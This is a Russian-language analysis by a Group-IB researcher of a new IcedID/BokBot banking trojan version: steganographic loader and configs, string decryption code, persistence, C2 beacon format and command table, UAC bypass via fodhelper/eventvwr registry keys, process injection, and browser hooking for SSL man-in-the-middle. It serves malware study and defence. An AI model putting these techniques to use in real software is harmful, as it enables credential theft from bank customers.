Какие три мысли возникали у вирусных аналитиков, когда они слышали о IcedID/BokBot? Конечно же про web-инжекты, proxy-сервер и быстрое обновление версий. Иногда настолько быстрое, что пока аналитик изучает версию, актуальную на момент начала исследования, — выходит новая. Какая фича была добавлена в этот список? Загрузчик со стеганографией. А что если вам скажут, что в новой версии не только главный модуль IcedID скрыт в изображении, но также и его конфигурационные файлы? Интересно? Тогда давайте разбираться. Иван Писарев, специалист по анализу вредоносного кода Group-IB, рассказывает, что нам приготовила новая версия этого печально знаменитого банковского трояна.


Об IcedID начали говорить еще в далеком ноябре 2017 года, когда его впервые описали исследователи из IBM X-Force. Уже на тот момент приложение имело богатый набор функциональных возможностей (proxy-сервер, web-инжекты, большой RAT-арсенал, VNC-модуль и т.д.), который продолжает активно пополняться. Мы тоже выпускали статью по данному банкеру, но с тех пор троян обзавелся новыми фишками, в том числе стал использовать стеганографию, чтобы скрывать конфигурационные данные в файловой системе и сетевом трафике. Об этом мы и расскажем подробно в данной статье.

Судя по целям бота, которые мы регулярно извлекаем из конфигурационных данных трояна, его интересы не сильно изменились: больше всего его интересуют клиенты американских банков. Но есть один интересный момент: в список целей попали фирмы, занимающиеся телекоммуникациями (AT&T) и мобильной связью (T-Mobile). Вот неполный список целей, которые атакует троян:

  • Amazon.com
  • eBay
  • American Express
  • AT&T
  • T-Mobile
  • Bank Of America
  • Capital One
  • Chase
  • Wells Fargo
  • J.P. Morgan
  • Lloyds Bank
  • Verizon Wireless

Ещё
  • CIBC
  • Comerica (comerica.com)
  • Dell
  • Discover
  • Dollar Bank
  • Erie Bank
  • E-Trade
  • Frost Bank
  • Halifax UK
  • Hancock Bank
  • Huntington Bank
  • M&T bank
  • Centennial Bank
  • PNC
  • RBC
  • Charles Schwab
  • SunTrust Bank
  • Synovus
  • Union Bank (unionbank.com)
  • USAA
  • US Bank

Ну, пора переходить к самому интересному — исследованию трояна.

Распространение


Примечательно, что за трояном очень активно следит инфобез-сообщество по всему миру, поэтому если вы зайдете в Twitter и попробуете поискать по тегам #IcedID и #BokBot, то найдете огромное количество записей о том, как и когда осуществлялась последняя рассылка банкера. Пожалуй, самое интересное, что случилось с трояном за последнее время в плане заражения устройств, — появление новой стадии загрузчика, которая, как и предыдущая версия, загружает картинку со спрятанной внутри старой версией — загрузчиком второй стадии. Новый загрузчик уже описан тут, поэтому не будем повторяться и просто упрощенно опишем схему заражения:

  1. На устройство жертвы попадает вредоносный документ.
  2. Документ загружает и запускает первую стадию загрузчика.
  3. Загрузчик первой стадии загружает картинку с CnC, извлекает оттуда загрузчик второй стадии, сохраняет и запускает его.
  4. Загрузчик второй стадии аналогично загружает картинку с CnC (адрес может быть другим), извлекает главный модуль IcedID и запускает его. Данная часть будет подробнее расписана далее.

Пример можно найти здесь. Думаю, вопросов тут не осталось, поэтому давайте перейдем ко второй стадии.

Downloader/Loader — загрузчик второй стадии


Основная задача данного загрузчика — получить главный модуль и запустить его. Вторая стадия может быть представлена в виде exe — или dll-файла, однако функциональных различий между двумя версиями нет. Поэтому давайте рассмотрим получение и запуск главного модуля на примере dll-файла.

Загрузчик представляет из себя DLL-файл с экспортируемой функцией DllRegisterServer(), которая циклично уходит в Sleep() на 1 секунду до тех пор, пока не поднят флаг окончания работ. Как вы увидите далее, новая версия загрузчика запускается в контексте процесса regsvr32.exe, а для корректного запуска необходима данная экспортируемая функция.

Все самое интересное происходит в функции DllEntryPoint(). Сам по себе загрузчик — достаточно маленькое приложение, которое выполняет следующие действия:

  1. Обращается к файлу-изображению, которое содержит ядро IcedID. Естественно, при первом запуске на зараженной машине такого изображения нет, поэтому идем далее.
  2. Обращается к CnC-адресам (список хранится в теле загрузчика в зашифрованном виде) и получает нагрузку. Запрос выглядит вот так:


    Быстро опишем значения:
    • 01 — захардкоженное значение.
    • BE0F1DE5 — тоже захардкоженное значение, которое впоследствии будет передано ядру IcedID. Далее будем называть его идентификатором загрузчика.
    • 0272A7E4 — временная метка.
    • 00000000000040000010 — информация о процессоре + временные замеры исполнения кода. Видимо, по данной переменной сервер может определять, исследуется ли на данный момент загрузчик, и не отдать ядро IcedID исследователю.

    В ответ сервер отдает изображение, которое содержит shell-код и ядро.
  3. Сохраняет файл (алгоритм генерации имен файлов рассмотрим далее).
  4. Расшифровывает полученную нагрузку (далее также опишем формат, в котором хранятся зашифрованные данные). Нагрузка включает в себя заголовок, shell-код и ядро IcedID. Загрузчик из заголовка получает адрес точки входа (адрес хранится по смещению 8, просто держу в курсе) в shell-код и передает на него управление.
  5. Shell-код запускает процесс svchost.exe (в некоторых исследованных сэмплах процесс был другой, к примеру msiexec.exe) в suspended-режиме и при помощи функций:
    • NtAllocateVirtualMemory
    • ZwWriteVirtualMemory
    • NtProtectVirtualMemory
    • NtQueueApcThread

    Инжектит себя в новый процесс и запускает. Думаю, тут все понятно и подробнее расписывать не нужно.
  6. Shell-код в контексте svchost.exe разворачивает ядро IcedID и передает на него управление.

Кажется, получилось сложновато. Давайте тогда картинкой:

Схема заражения устройства IcedID

Надеюсь, стало понятнее. Теперь переходим к самому интересному — описанию работы трояна.

IcedID core


Предстартовая подготовка


Перед началом описания работы трояна стоит рассказать, в каком формате троян хранит строки, переменные, файлы и прочие данные. Думаю, это облегчит чтение статьи. Если для читателя данная часть не интересна — предлагаю сразу перейти к следующему разделу Сразу после запуска.

Итак, начнем.

Генерация BotId


В первую очередь троян генерирует BotId, так как данная переменная будет использована практически во всех дальнейших алгоритмах генерации имен файлов, мьютексов, ключей реестра и т.д. В новой версии IcedId, в отличии от старой, для генерации BotId используется всем известный алгоритм хеширования fnv32. BotId — это хеш-значение от строкового представления SID'а пользователя.

Генерация строк


В отличие от предыдущих версий, новая использует классическую random-функцию C++ с внутренним состоянием счетчика. То есть для генерации одной и той же строки достаточно инициализировать счетчик одинаковым значением. Для генерации строк, которые должны быть одинаковыми от запуска к запуску (например, имена директорий, конфиг-файлов, ключей реестра и т.д.), IcedID использует в качестве инициализирующего значения BotId. Если повторное использование строки не планируется, тогда в качестве инициализирующего значения используется результат инструкции rdtsc. Думаю, подробно рассматривать сам алгоритм генерации строк не столь интересно. Выделим важные моменты:

  1. Генерируемые строки могут быть как в виде GUID, так и в «классическом» виде.
  2. Для генерации «классических» строк используются:
    • Пары алфавитов: aeiou и bcdfghjklmnpqrstvwxyz, при этом каждая пара символов принадлежит этим непересекающимся алфавитам (к примеру, если первый символ принадлежит первому алгоритму, то следующий символ в подстроке — строго из второго).
    • Опционально может быть добавлена пара символов из алфавита abcedfikmnopsutw, при этом индексы этих символов генерируются не ГПСЧ, а высчитываются на основании подстроки, полученной на предыдущем этапе. Это важное уточнение, к которому мы вернемся чуть позже.
    • Опционально могут быть добавлены целочисленные значения в конец генерируемой строки: 1, 2, 3, 4, 32, 64.
  3. Для генерации пути директории может использоваться имя зараженного пользователя. При этом для хранения интересных с точки зрения IcedID файлов может быть создана не одна, а две вложенные директории.

Шифрование строк


Важные для работы IcedId строки (лог-строки, строки-параметры функций и т.д.) зашифрованы кастомным алгоритмом. Расшифровать их можно довольно просто при помощи следующего Python-скрипта:

def decrypt_string(ciphertext):
	current_key = struct.unpack('I', ciphertext[:4])[0]
	length = (struct.unpack('H', ciphertext[4:6])[0] ^ current_key) & 0xFFFF
	ciphertext = ciphertext[6:]
	plaintext = ''
    
	for index in range(length):
    		current_key = (index + ((current_key << 25) | (current_key >> 7))) & 0xFFFFFFFF
    		plaintext = '{}{}'.format(plaintext, chr((current_key ^ ord(ciphertext[index])) & 0xFF))
    
	return plaintext

При этом важно отметить, что значение сдвигов может меняться в зависимости от версии трояна.

Вычисление контрольной суммы


Данный алгоритм используется для проверки целостности конфиг-данных, а также для осуществления SSL-pinning:


Хранение глобальных переменных


Некоторые переменные, значение которых необходимо сохранять от запуска к запуску, троян сохраняет в реестре. Каждой переменной соответствует строка-значение — имя переменной. Чтение такой переменной происходит в четыре этапа:

  1. Считается кастомное хеш-значение от имени переменной:

  2. При помощи WinApi вычисляется MD5-значение от имени переменной и ее хеш-значения:

  3. Генерируется путь до переменной в реестре:

    HKEY_CURRENT_USER\Software\Classes\CLSID\{%GUID%}

    где %GUID% — вычисленное выше MD5-значение в формате GUID и читает ее значение.
  4. Расшифровывается при помощи следующего алгоритма:


    где customRandom:

    def custom_random(seed):
    	for _ in range(3):
        		seed = ror(seed)
    	seed ^= 0x9257
    	for _ in range(3):
        		seed = rol(seed)
    	seed = (seed + 0x29B6) & 0xFFFFFFFF
    	seed = ror(seed)
    	seed = (seed + 0xF411) & 0xFFFFFFFF
    	seed = rol(seed)
    	seed = (seed - 0x8668) & 0xFFFFFFFF
    	seed = seed ^ 0xFFFFFFFF
    	seed = (seed - 0x8260) & 0xFFFFFFFF
    	return seed

Если вы читали предыдущую статью, то наверняка заметили, что изменений тут немного. Собственно, сохранение бот-переменной происходит в обратном порядке: сначала шифрование, затем запись.

Итак, в ходе исследования были обнаружены следующие переменные:
  • #lf — log-filter
  • #ke — kill edge
  • #dr — url list, with signature
  • #dm — url list, without signature

Важное замечание: по команде управляющего сервера может быть добавлено/удалено значение глобальной переменной. Именно так происходит обновление списка CnC-серверов. Кстати о CnC. После чтения и расшифровки глобальной переменной (#dr) троян еще проверят подпись. И да, у трояна есть встроенный открытый ключ:


Хранение конфигурационных данных


Конфигурационные данные IcedID хранит в отдельных зашифрованных файлах. Генерация имени файлов, а также директории, в которой они хранятся, описана выше. Основная отличительная черта новой версии трояна — хранение конфигов в .png-изображениях. Да-да, теперь не только основной модуль спрятан при помощи стеганографии, но и конфигурационные файлы. Давайте подробнее рассмотрим формат хранения полезной нагрузки в изображениях.

В каждом изображении присутствует объект вот такой структуры:

struct StegData
{
	int ciphertextLen;
	int magic;
	int plaintextChecksum;
	byte keyLen;
	char[keyLen] key;
	char[ciphertextLen];
};

А вот и пример:


Алгоритм шифрования — RC4. В некоторых случаях (например, конфиг-файлы) изображение не содержит ключ, тогда в качестве него выступает BotId.

И пару слов о конфиг-файлах: после их расшифровки можно наблюдать следующее:


Как видите, магическая строка zeus осталась.

Логирование


Даже в очень хорошо написанной программе возникают проблемы, что уж говорить о банкере. Разработчик это понимал и поэтому добавил логирование почти на каждом шагу. По умолчанию оно выключено, но есть глобальная переменная #lf, которую можно изменить по команде сервера. Log filter — это целочисленная переменная, у которой первые три бита отвечают за тип событий, который необходимо логировать:

  • [INFO]
  • [WARN]
  • [ERROR]

Кроме этого, переменная говорит трояну, в каких именно модулях стоит логировать события.

Логирование осуществляется в отдельный участок памяти, который по команде тоже может быть выгружен на сервер. Далее при анализе лог-строки нам еще не раз помогут.

Сразу после запуска


В первую очередь троян генерирует BotID и собирает информацию о зараженной машине, которую впоследствии передает управляющему серверу. Как я и предрекал в первой статье, главный модуль теперь тоже проверяет запуск на виртуальной машине двумя способами:

  1. при помощи инструкции rdtsc (а также для чистоты эксперимента cpuid и функции SwitchToThread) 15 раз замеряет время исполнения кода
  2. сравнивает первые 4 символа Vendor ID процессора со значениями:
    • VMwa
    • XenV
    • Micr
    • KVMK
    • Lrp
    • VBox

Интересное замечание: подтверждение запуска на виртуальной машине влияет только на запуск BC-модуля (будет описан позже), при этом модуль не запускается, только если система не прошла проверку по таймингам, значения VendorID игнорируются. Возможно, данная функция продолжает тестироваться и в дальнейшем будет доведена до идеала вместе с остановкой работы трояна на зараженной машине. На данный момент проверка достаточно слабая и почти не влияет на работу программы.

С BotId и информацией о системе чувствует троян пробуждение темной силы в себе, понимает, что отныне будет твориться история, которую необходимо сохранить для потомков. Как вы поняли, с данного этапа бот начинает логировать свои действия. Но перед тем, как записать первую строчку в девственно чистый участок памяти, троян пытается получить значение глобальной переменной #lf. Например, первое сообщение:

[00:11:40] 2252| [INFO] bot.init > core init ver=20 pid=1234 id=456 ldr_ver=3

Из него мы узнаем, что, по мнению разработчиков, версия загрузчика — 4, а вот версия ядра уже 21. Далее идет стандартная схема, предотвращающая повторный запуск трояна на машине: создается мьютекс (выше мы описывали генерацию строки-имени мьютекса). Если мьютекс уже создан — банкер завершает работу. Опять же, небольшое замечание: перед созданием мьютекса приложение обращается к событию с другим именем, которое создается при обновлении загрузчика трояна. И благодаря этому событию новый процесс IcedID ожидает завершения работы старого, после чего начинает выполнять свои грязные дела.

И начинаются грязные дела с обеспечения персистентности трояна на зараженном устройстве. В первую очередь приложение проверяет имя файла. Те, кто не пропустил пункт Генерация строк в прошлом разделе, наверняка помнят, что один из шагов я особо выделил — добавление двух символов из алфавита abcedfikmnopsutw, индексы к которым генерируются на основании предыдущей подстроки. Собственно, троян повторно генерирует индекс и сравнивает два последних символа имени файла с шаблонным значением. Если файл прошел проверку — дальнейшие действия не требуются. Если же это первый запуск трояна — приложение создает директорию (или две, в зависимости от BotID) в %APPDATA% или %LOCALAPPDATA%, копирует туда файл-загрузчик, старый файл удаляет, после чего добавляет новую задачу при помощи COM-интерфейса ITaskService:


Если создать задачу не удалось — приложение по-старинке прописывает себя в автозапуск через реестр. При этом название значения реестра такое же, как название задачи. То есть в данном случае:

  • Ключ реестра: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  • Значение: meayjiduge_{94D3BBC9-24EA-411F-066A-A604B94A99DA}
  • Содержимое: путь к файлу-загрузчику

Важное замечание: загрузчик IcedID может быть не только .exe, но и .dll. В таких случаях его запуск происходит через regsvr32.exe, соответственно в задачу (реестр) будет прописан следующий путь:

regsvr32.exe /s «C:\Users\<%Username%>\AppData\Local\lepuan\odnu\olniyueu3.dll»

Установив себя в систему, приложение инициализирует список CnC-серверов. Происходит это в два этапа:

  1. инициализация списка на основе переданных загрузчиком параметров
  2. инициализация списка из глобальных переменных

Думаю, второй пункт необходимо расписать подробнее. Есть две глобальные переменные: #dm — хранит список CnC-серверов без подписи, и #dr — хранит подписанный список CnC-серверов. Переменная #dm используется опционально. Похоже, данная функция чисто для тестирования.

Кроме списка CnC-серверов приложение загружает конфигурационные файлы, которые теперь скрыты в .png-изображениях (то есть разработчики заменили обычное шифрование на стеганографию + шифрование). У IcedID есть два конфиг-файла, которые используются proxy-сервером (далее расскажу подробнее) для атаки MITM:

  • Main — содержит список web-инжектов (в первой статье этот список назывался cfg0)
  • Sys — содержит списки grab и ignore (cfg1)

На данном этапе подготовка для работы трояна полностью завершена, можно выпускать Кракена запускать три основных потока программы (далее для удобства будем называть их модулями):

  • Alive
  • Hooker
  • BC


Как уже было указано ранее, модуль BC не запускается, если окружение не прошло проверку по таймингам (метод VM-detect). Далее подробно будет описан каждый поток-модуль. Ну а на этом процесс инициализации трояна закончен, главный поток уходит в бесконечный Sleep().

Alive-модуль


Данный модуль предназначен для периодического «отстукивания» на сервер, чтобы тот понимал: бот все еще жив и готов принимать команды. Перед запуском бот «засыпает» на минуту, после чего входит в бесконечный цикл обращения к серверу. Обращение к серверу осуществляется раз в 5 минут (хотя по команде сервера данное значение может быть изменено). Итак, как же выглядит запрос? Давайте сразу начнем с примера:

GET /audio/?z=JmE9MTk1OTUxMzEwJmI9MzEzMTk0ODc4MyZjPTIwJmQ9MCZlPTEmZj0wJmc9MCZqPTAwMDBERUFERkFDRSZtPSU1NCUwMCU2NSUwMCU3MyUwMCU3NCUwMCU0MyUwMCU2RiUwMCU2RCUwMCU3MCUwMCU3NSUwMCU3NCUwMCU2NSUwMCU3MiUwMCU2RSUwMCU2MSUwMCU2RCUwMCU2NSUwMCZwPSU1NCUwMCU2NSUwMCU3MyUwMCU3NCUwMCU0NCUwMCU2RiUwMCU2RCUwMCU2MSUwMCU2OSUwMCU2RSUwMCU2RSUwMCU2MSUwMCU2RCUwMCU2NSUwMCZrPTMmbj00Jm89Ni4xLjc2MDEuMS4zMi4xJmw9JTU0JTAwJTY1JTAwJTczJTAwJTc0JTAwJTU1JTAwJTczJTAwJTY1JTAwJTcyJTAwJTZFJTAwJTYxJTAwJTZEJTAwJTY1JTAwJnc9ODE5MiZxPTMmdT0xNjM0MyZyPTM3MzU5Mjg1NTkmcz0zNzM1OTQzODg2JnQ9NTcwMDUmaD08JXBnaWQlPiZpPTwlZ2lkJT4mdj00MDQ= HTTP/1.1
Connection: Keep-Alive
Host: <%CnC%>


Как видно из запроса, все самое интересное хранится в закодированных по Base64 данных. После раскодирования получаем интересную строку:

Вот такую информацию троян передает на управляющий сервер. Как видно из примера, строковые значения (все в UNICODE) закодированы URL-кодировкой. Синим выделены данные, которые передаются только во время первого отстука — регистрационные данные. Черным — данные, которые присутствуют во всех запросах. Красным — опциональные данные, включаются в запрос, только если трояну удалось получить значение соответствующей переменной. Кстати о переменных — вот их значения:

Переменная Значение
a ID загрузчика
b ID бота
c Версия главного модуля IcedID
d Целочисленное значение, которое получает главный модуль от загрузчика
e Тип запроса: 1 — регистрация, 0 — обычный запрос
f Подтип запроса
g Флаги запроса
j MAC-адрес сетевого устройства. Количество таких записей зависит от количества сетевых устройств.
m Имя компьютера, в данном примере — TestComputername
p Имя домена, в котором расположено устройство, в данном примере — TestDomainname
k Целочисленное значение
n Целочисленное значение, содержит информацию о запуске на виртуальной машине
o Информация об ОС
l Имя пользователя, в данном примере — TestUsername
w Целочисленное значение, информация получена из SID'а пользователя
q Версия загрузчика
u Метка времени
r Контрольная сумма Sys-конфига
s Контрольная сумма Main-конфига
t Контрольная сумма CnC-списка
h Строковое значение, которое приложение получает от загрузчика и помечает его как pgid. К сожалению, в ходе исследования нескольких версий трояна значение получить не удалось.
i Строковое значение, которое приложение получает от загрузчика и помечает как gid. К сожалению, в ходе исследования нескольких версий трояна значение получить не удалось.
v Значение функции GetLastError при открытии файла-загрузчика.

В ответ сервер отправляет пакет, содержащий fast-команду и параметры, разделенные символом ;. Перед обработкой команды приложение ищет следующие подстроки в ответе и заменяет их на соответствующие значения:

  • #gid# — строковое значение, которое главный модуль получает от загрузчика
  • #pgid# — строковое значение, которое главный модуль получает от загрузчика
  • #id# — ID бота
  • #pid# — ID загрузчика
  • #domain# — CnC
  • front:// — заменяет на https://<%CnC%>

Ну а теперь давайте быстро опишем fast-команды:

Команда Описание Выполняемые действия
1 update pack Обновить изображение, в котором скрыт главный модуль IcedID. После успешной загрузки приложение запускает новый процесс загрузчика, работа текущего останавливается.
2 update loader Обновить загрузчик. После успешной загрузки и установки персистентности приложение запускает новый процесс загрузчика, работа текущего останавливается.
3 update urllist Обновить CnC-список. После проверки подписи приложение зашифровывает СnC-список и сохраняет его в глобальную переменную #dr.
4 update sys config Обновить конфиг-файл, содержащий список grab (cfg1). После сохранения файла список в трояне также обновляется.
5 update main config Обновить конфиг-файл, содержащий список web-инжектов (cfg0). После сохранения файла список в трояне также обновляется.
6 alive force Отправить alive-запрос незамедлительно. Опционально можно повторно отправить регистрационный запрос.
7 set alive timeout Изменить период обращения к серверу. Новое значение приходит как параметр.
8 get log Отправить на сервер лог-данные.
9 set log filter Изменить значение лог-фильтра. Значение приходит как параметр, записывается в глобальную переменную #lf и обновляется в приложении.
10 var set Изменить значение глобальной переменной. Имя переменной и ее значение приходит как параметр.
11 var get Получить значение глобальной переменной. Имя переменной приложение получает как параметр.
12 var del Удалить глобальную переменную. Имя переменной приложение получает как параметр.
13 get process list Отправить на сервер список запущенных процессов.
14 desk link Получить список файлов на рабочем столе, для .lnk-файлов также записывает путь к файлу, на который ссылается. Работа с .lnk-файлами осуществляется через COM-интерфейс IShellLinkA.
15 sysinfo Собрать информацию о зараженной машине и отправить на сервер.
16 exec Запустить процесс, путь к исполняемому файлу приложение получает как параметр.
17 dlexec Загрузить и исполнить файл. Адрес нагрузки и аргументы запуска приложение получает в качестве параметров. Файл сохраняется либо в директорию %TEMP%, либо в c:\ProgramData\.
18 run cli Запустить процесс, результат работы процесса отправить на сервер.
19 run shellcode Загрузить shell-код, заинжектить его в новый процесс cmd.exe и исполнить.
20 reboot Перезагрузить устройство.
21 file search Найти файл с именем по шаблону (приходит как параметр) и отправить на сервер.
22 file get Отправить определенный файл на сервер. Имя файла приложение получает как параметр.
23 dump pass Извлечь сохраненные пароли из Credential Manager, Outlook, Internet Explorer, Winmail, Google Chrome, Firefox и отправить их на сервер.
24 dump cookie Извлечь cookie-данные и отправить их на сервер.
25 DlExecAdmin Аналогично dlexec, однако запуск приложения осуществляется с обходом UAC. Если прав у IcedID недостаточно — запуск производится от имени обычного пользователя.
26 run bc Запустить BC-модуль.

Давайте подробнее распишу некоторые команды:

  • update — команды. В качестве параметра приходит адрес, с которого необходимо загрузить изображение. Изображение содержит зашифрованную по RC4 полезную нагрузку.
  • sysinfo — приложение собирает информацию о зараженной системе, запуская следующие процессы и сохраняя результат их работы:

    – cmd /c chcp
    – WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List
    – ipconfig /all
    – systeminfo
    – net config workstation
    – nltest /domain_trusts
    – nltest /domain_trusts /all_trusts
    – net view /all /domain
    – net view /all

  • DlExecAdmin — обход UAC может осуществляться двумя способами:
    1. Через утилиту fodhelper.exe. Для этого приложение создает новый ключ реестра HKCU\Software\Classes\ms-settings\Shell\Open\command, куда записывает два значения:
      • DelegateExecute — пустое
      • (default) — содержит путь к исполняемому файлу, загруженному с сервера

      После этого приложение запускает fodhelper.exe, и вместе с ним в обход UAC запускается полезная нагрузка.
    2. Через утилиту eventvwr.exe. Для этого приложение создает новый ключ реестра HKCU\Software\Classes\mscfile\shell\open\command, куда в стандартное значение записывает путь к файлу-нагрузке, после чего запускает eventvwr.exe.

Ну и напоследок хотел бы рассказать об одной интересной фиче, которую заметил в последний момент: автор трояна разработал довольно интересный метод SSL-pinning'а: перед установкой соединения приложение при помощи функции WinHttpSetStatusCallback() устанавливает обработчик на события WINHTTP_CALLBACK_STATUS_REQUEST_SENT (данные успешно отправлены на сервер) и WINHTTP_CALLBACK_STATUS_SENDING_REQUEST (срабатывает перед отправкой данных на сервер), но сама функция обработки игнорирует все события, кроме WINHTTP_CALLBACK_STATUS_SENDING_REQUEST. При срабатывании события приложение «вытаскивает» из запроса данные о сертификате сервера, считает контрольную сумму от открытого ключа сервера и сравнивает получившееся значение с серийным номером сертификата. Если оно совпадает — приложение признает, что сервер не подменен, иначе закрывает соединение. Ну а сама функция выглядит вот так:


Hooker-модуль


Как любой уважающий себя современный банкер, IcedID умеет осуществлять атаку MITM. За это отвечает hooker-модуль, работу которого можно условно разделить на три основные части:
  1. Генерация самоподписанного сертификата
  2. «Поднятие» proxy-сервера
  3. Инжектирование собственного модуля в контекст браузера

А теперь подробнее о каждой части.

Генерация самоподписанного сертификата


Как известно, все самые вкусные для банкеров данные сейчас передаются через HTTPS. Получить такие данные путем простого прослушивания трафика между браузером жертвы и, к примеру, сервером банка не получится, ведь все закрыто SSL. Однако разработчики нашли выход из столь интересной ситуации: они ставят свой сертификат. Но для того, чтобы его поставить, сначала его нужно сгенерировать. Специально для генерации сертификата у IcedId есть вот такая строка:

C=US; O=VeriSign, Inc.; OU=VeriSign Trust Network; OU=© 2006 VeriSign, Inc. — For authorized use only; CN=VeriSign Class 3 Public Primary Certification Authority — G5

Ничего не напоминает? Ну конечно же — это Certificate Subject! Для подписи сертификата необходима пара открытый/закрытый ключ. Генерируется она при помощи CryptoAPI-функции CryptGenKey(), в качестве имени контейнера ключа используется MD5(<%BotId%><%Certificate Subject%>). Ну а сам сертификат создается при помощи функции CertCreateSelfSignCertificate(), используя дуэт SHA1 и RSA, ранее созданную ключевую пару и информацию об издателе. Сертификат создается на три года, начиная ровно с года назад и до двух лет вперед. Если сгенерировать сертификат по какой-то причине не удалось — у трояна есть план B на такой случай: заранее подготовленный и зашифрованный в теле сертификат и ключ, который он подгружает и использует вместо неудачно сгенерированного.

Думали, на этом все? А вот нет. Сгенерированный самоподписанный сертификат необходим трояну только для подписи второго сертификата, который уже используется для атаки MITM. В качестве информации об издателе выступает строка:

CN=.com

Процедура генерации сертификата (в том числе имени контейнера) аналогична генерации корневого сертификата (за исключением того, что сертификат подписывается ключом ранее сгенерированного/импортируемого сертификата). И если снова что-то пошло не так — подгружается также ранее подготовленный и сохраненный в теле трояна ключ и сертификат (хранится в зашифрованном виде).

Важно также заметить, что троян создает хранилище сертификатов в файле %TEMP%/<%BotId%>.tmp и помещает туда сертификат. Таким образом, при следующем запуске трояну не нужно будет генерировать/импортировать сертификат повторно. Достаточно получить его из хранилища.

Запуск сервера


После генерации сертификата приложение начинает прослушивать порт <%BotId%> % 14000 – 15536 и, в зависимости от Main- и Sys-конфигов, делать свои темные дела. В прошлой статье подробно расписано, как происходит обработка трафика, и даже предоставлена ссылка на Python-скрипты, парсящие конфиги. Сильных изменений в этой части не обнаружено, так что, думаю, тут повторять нет смысла, идем дальше.

Патч браузеров


Итак, троян поднял свой сервер с собственным сертификатом. Что же еще осталось? Ах да: заставить браузеры редиректить все запросы на этот прокси-сервер и «поверить» сгенерированному сертификату. Для этого IcedID в бесконечном цикле с интервалом в секунду пробегается по списку запущенных приложений и ищет в их рядах браузер. Поиск осуществляется по контрольной сумме от имени процесса, которая вычисляется следующим образом:


И после сравнивает с захардкоженными значениями:

  • 0x9EFDE0C4 — firefox.exe
  • 0x9F96A0E0 — microsoftedgecp.exe
  • 0x534B083E — iexplore.exe
  • 0x7A257A14 — chrome.exe

В целом алгоритм вычисления контрольной суммы не менялся в разных версиях банкера, однако константа 0x801128AF была другой, соответственно для других версий трояна чексуммы названий процессов будут иными. Кроме сравнения по контрольной сумме, IcedID также сравнивает имя процесса посимвольно:


Если обнаружено совпадение по имени — троян инжектит собственный код в контекст браузера. Во все, кроме Microsoft Edge. Более того — если на зараженном устройстве присутствует глобальная переменная #ke, то бот убивает процесс microsoftedgecp.exe. Похоже, разработчики не придумали, как инфицировать данный браузер. Либо он им просто не нравится.


Перед патчем браузера приложение проверяет, не был ли он ранее заражен. У приложения есть список зараженных PID'ов. Кроме этого, после инфицирования код инжектированного модуля IcedID в процессе браузера создает событие с именем: <%generated_eventname%>_<%browser_pid%>. Если событие с таким именем не создано — процесс не заражен. Нужно это исправить!

Сейчас будет немного нудно. Главный модуль IcedID содержит в своем теле исполняемый файл, предназначенный для установки хуков на интересные трояну функции. Давайте далее называть его hooker. Однако, как и главный модуль, данный файл хранится в теле трояна в собственном формате и не имеет PE-заголовка. Информация о точке входа, секциях и т.д. находится в кастомном заголовке. Перед тем, как заразить процесс браузера, троян в собственном процессе «разворачивает» секции, после чего выделяет два участка памяти в контексте браузера. В первый, как вы, наверное, догадались, будет скопирован уже развернутый hooker. Во второй участок будут скопированы аргументы, необходимые для запуска перехватчика (в том числе порт прокси-сервера). После этого в контексте браузера при помощи функции CreateRemoteThread() будет создан вредоносный поток.

И вот тут начинается веселье. В контексте браузера hooker в первую очередь чинит собственный импорт (куда же без него), после чего создает ранее упомянутое событие: <%generated_eventname%>_<%browser_pid%>. Процесс установки хуков, думаю, лучше продемонстрировать в виде картинки на примере функции connect():


Как видно из примера, приложение просто устанавливает jmp-инструкцию в начале перехватываемой функции на собственный обработчик (haha classic). В зависимости от браузера вредоносный модуль ставит хуки на разные функции:

  • chrome.exe:
    • CertGetCertificateChain
    • CertVerifyCertificateChainPolicy
    • сonnect
  • iexplore.exe:
    • CertGetCertificateChain
    • CertVerifyCertificateChainPolicy
    • Функция из библиотеки mswsock.dll
    • сonnect
  • firefox.exe:
    • SSL_AuthCertificateHook или функция из библиотеки SSL3.dll
    • сonnect

Хуки на функции работы с сертификатами и SSL ставятся с единственной целью — заставить браузер принимать любой сертификат, в том числе самоподписанный. К примеру, когда в контексте firefox.exe происходит вызов функции SSL_AuthCertificateHook(), предназначенной для изменения функции проверки сертификата на свою собственную, hooker меняет второй аргумент (как раз функция проверки) на свой обработчик:


Обработчик функции connect(), в свою очередь, предназначен для того, чтобы перенаправлять все соединения браузера на proxy-сервер. Hooker заменяет IP-адрес назначения на 127.0.0.1, а порт — на порт proxy-сервера. После успешного подключения к Proxy-серверу IcedID отправляет следующие данные:

  • IP и порт назначения
  • Тип браузера
  • Информацию, полученную в качестве аргумента от главного модуля

Таким образом, при минимальном вмешательстве в процесс браузера IcedID удалось выстроить следующую схему MITM:

Схема IcedID MITM

Имея сертификат, Proxy-сервер и пропатченные браузеры IcedID получает полный контроль над трафиком браузеров, даже если все данные находятся за SSL.

BC-модуль


И этот модуль предназначен… для обработки команд сервера! Да-да, вы не ослышались: еще один модуль обработки команд. Давайте сразу рассмотрим, какой GET-запрос он делает на управляющий сервер:

Собственно, значение BAADBEEF — BotID, 0BADFACE — LoaderID, а за параметром Sec-WebSocket-Key скрывается временная метка. Похоже, данный модуль использует WebSocket для общения с управляющим сервером (кстати, используется те же адреса, что и в Alive-модуле, и порт 443). К сожалению, провести глубокое изучение протокола и сравнить его с RFC уже нет времени, поэтому давайте сразу перейдем к командам, которые приложение получает от управляющего сервера и обрабатывает:

Команда Параметры Описание
1 IP Сменить IP
2 - Отправить PING на сервер
3 - PONG-ответ сервера
4 Команда Выполнить fast-команду

Да, BC-модуль умеет исполнять fast-команды, что является прерогативой Alive-модуля. Пожалуй, самая интересная команда — сменить IP. В качестве параметра приложение получает IP-адрес управляющего сервера, на который он подключается к порту 8080. Все общение с сервером осуществляется по собственному бинарному протоколу, заголовок которого выглядит следующим образом:


struct BcMessageStruct
{
	int auth;
	byte command;
	int id;
	int key;
};

Где поле auth не менялось как минимум с пятой версии ядра IcedID: константа 0x974F014A, id — BotID а key — LoaderID. Поле command может принимать следующие значения:

Значение Описание
0 Запрос команды
1 Изменить период обращения к серверу
2 Ошибка на стороне клиента, данный пакет приложение отправляет, если, например, не удалось запустить VNC-модуль
3 Команда на переподключение
4 Запустить SOCKS-модуль
5 Запустить VNC-модуль

